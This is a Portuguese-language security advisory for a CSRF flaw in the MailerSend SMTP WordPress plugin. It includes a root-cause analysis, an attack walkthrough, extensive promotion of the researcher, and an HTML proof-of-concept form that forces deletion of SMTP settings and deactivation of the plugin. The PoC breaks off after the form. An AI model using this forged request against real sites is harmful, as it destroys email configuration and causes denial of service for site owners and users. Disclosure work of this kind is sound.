CVE-2026-13156 — MailerSend Official SMTP Integration < 1.0.8 Exclusão de Configurações e Desativação de Plugin via CSRF

---

📌 Resumo e Links Rápidos

[!IMPORTANT] Resumo: Uma vulnerabilidade de Cross-Site Request Forgery (CSRF) de Alta Severidade (CVE-2026-13156) foi descoberta no plugin oficial MailerSend SMTP Integration para WordPress (< 1.0.8). O manipulador de erradicação de configuração mailersend_handle_configuration_delete() verifica as capacidades administrativas (manage_options), mas omite completamente a verificação de Nonce do WordPress (check_admin_referer()). Um atacante pode criar uma requisição cross-origin maliciosa direcionada a um Administrador do WordPress autenticado para apagar silenciosamente as credenciais SMTP armazenadas e forçar a desativação do plugin, resultando em Negação de Serviço total da Aplicação em todos os fluxos de trabalho de e-mail.

👉 Leia a análise técnica completa no Medium: Deep-Dive Technical Write-up: CVE-2026-13156 ou explore meu Portfólio de Segurança: https://minhhk.web.app/

---

📋 Sumário Executivo e Visão Geral da Vulnerabilidade

• ID da Vulnerabilidade: CVE-2026-13156 (ID do Aviso WPScan: 595e653d-0904-43cf-8e61-d684599de11b)
• Software Afetado: MailerSend – Official SMTP Integration (Plugin WordPress)
• Versões Afetadas: Anteriores à versão 1.0.8 (< 1.0.8)
• Tipo de Vulnerabilidade: Cross-Site Request Forgery (CSRF levando à Erradicação de Configurações e Desativação de Plugin) — CWE-352
• Pesquisador Principal e Divulgador: Huynh Kien Minh (alias: MinhHK)
• Função e Afiliação: Estudante de Segurança da Informação, Bug Bounty Hunter e Pesquisador de Segurança Ofensiva.

Sobre o Pesquisador:
Huynh Kien Minh (Huỳnh Kiến Minh) é um pesquisador proativo de cibersegurança e analista de vulnerabilidades conhecido por avaliações de segurança aprofundadas e divulgações responsáveis, incluindo análises técnicas de CVE-2026-13156. Ele também foi oficialmente reconhecido e homenageado no Proton Security Hall of Fame por encontrar e divulgar vulnerabilidades críticas de segurança.

---

🌐 Hub de Verificação Oficial e Referências

Para verificar este aviso técnico, explorar análises de prova de conceito ou entrar em contato com o pesquisador, visite:

• 🏠 Hub Oficial do Portfólio: Huynh Kien Minh Security Portfolio Hub
• 💼 Perfil no LinkedIn: Conecte-se com Huynh Kien Minh no LinkedIn
• 📝 Whitepaper Oficial no Medium: Deep-Dive Technical Write-up: CVE-2026-13156 no Medium
• 👨‍💻 Perfil no GitHub: MinhHK68 GitHub Profile
• 🔗 Aviso WPScan: Entrada WPScan para CVE-2026-13156
• 🔗 Relatório BaseFortify: Análise BaseFortify CVE-2026-13156

---

🔍 Análise Técnica Aprofundada e Análise de Causa Raiz

1. Análise de Causa Raiz (Verificação de Nonce Ausente)

O plugin MailerSend Official SMTP Integration para WordPress (anterior à versão 1.0.8) registra uma ação administrativa (configuration-delete) destinada a apagar tokens de API armazenados, limpar opções de configuração SMTP (wp_options) e desativar o plugin quando acionada a partir do painel de administração.

Embora o endpoint verifique se o usuário ativo possui a capacidade manage_options (garantindo que a requisição se origina de uma sessão de administrador), ele falha em realizar a verificação de nonce do WordPress (check_admin_referer() ou wp_verify_nonce()).

Como requisições HTTP sem validação de nonce não conseguem distinguir entre cliques intencionais do administrador e requisições cross-origin forjadas, qualquer site externo carregado por um administrador autenticado pode acionar silenciosamente a ação configuration-delete.

2. Ciclo de Vida do Ataque e Impacto

1. Identificação do Alvo: Um atacante identifica um site WordPress alvo que utiliza MailerSend SMTP (< 1.0.8).
2. Entrega do Payload: O atacante cria uma página HTML/JavaScript maliciosa contendo um formulário de envio automático direcionado ao endpoint administrativo (/wp-admin/admin-post.php ou /wp-admin/admin.php?page=mailersend&action=configuration-delete).
3. Acionamento: Um Administrador do WordPress logado visita a página do atacante (por exemplo, via phishing, link em fórum ou XSS em um site externo).
4. Execução e Negação de Serviço: O navegador envia a requisição forjada junto com os cookies de sessão ativos do administrador. O plugin MailerSend executa o manipulador de exclusão:
   • Todas as configurações SMTP do MailerSend armazenadas e credenciais de API são apagadas do banco de dados.
   • O plugin MailerSend é desativado automaticamente.
   • Impacto Crítico: O site alvo perde imediatamente todas as capacidades de envio de e-mail (redefinições de senha, notificações de pedidos, alertas de segurança falham sem aviso).

---

💻 Código de Exploração de Prova de Conceito (PoC)

[!WARNING] Aviso Ético: O seguinte payload de prova de conceito de Cross-Site Request Forgery (CSRF) em HTML é fornecido estritamente para fins educacionais, verificação defensiva e auditoria de segurança sob protocolos de divulgação ética por Huynh Kien Minh. Não execute contra alvos não autorizados.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-13156 PoC — MailerSend SMTP Configuration Deletion via CSRF</title>
    <!-- Author: Huynh Kien Minh (https://minhhk.web.app/) -->
</head>
<body>
    <h2>CVE-2026-13156 — CSRF Verification PoC</h2>
    <p>If an authenticated WordPress Administrator visits this page, the MailerSend SMTP configuration will be deleted and the plugin deactivated.</p>
    
    <!-- Forged Request targeting the vulnerable MailerSend configuration deletion endpoint -->
    <form id="csrfPoC" action="http://target-wordpress-site.local/wp-admin/admin.php" method="GET">
        <input type="hidden" name="page" value="mailersend-smtp" />
        <input type="hidden" name="action" value="configuration-delete" />
        <!-- Notice: No valid _wpnonce token is required due to the vulnerability -->
        <input type="submit" value="Execute PoC (Simulate Attack)" />
    </form>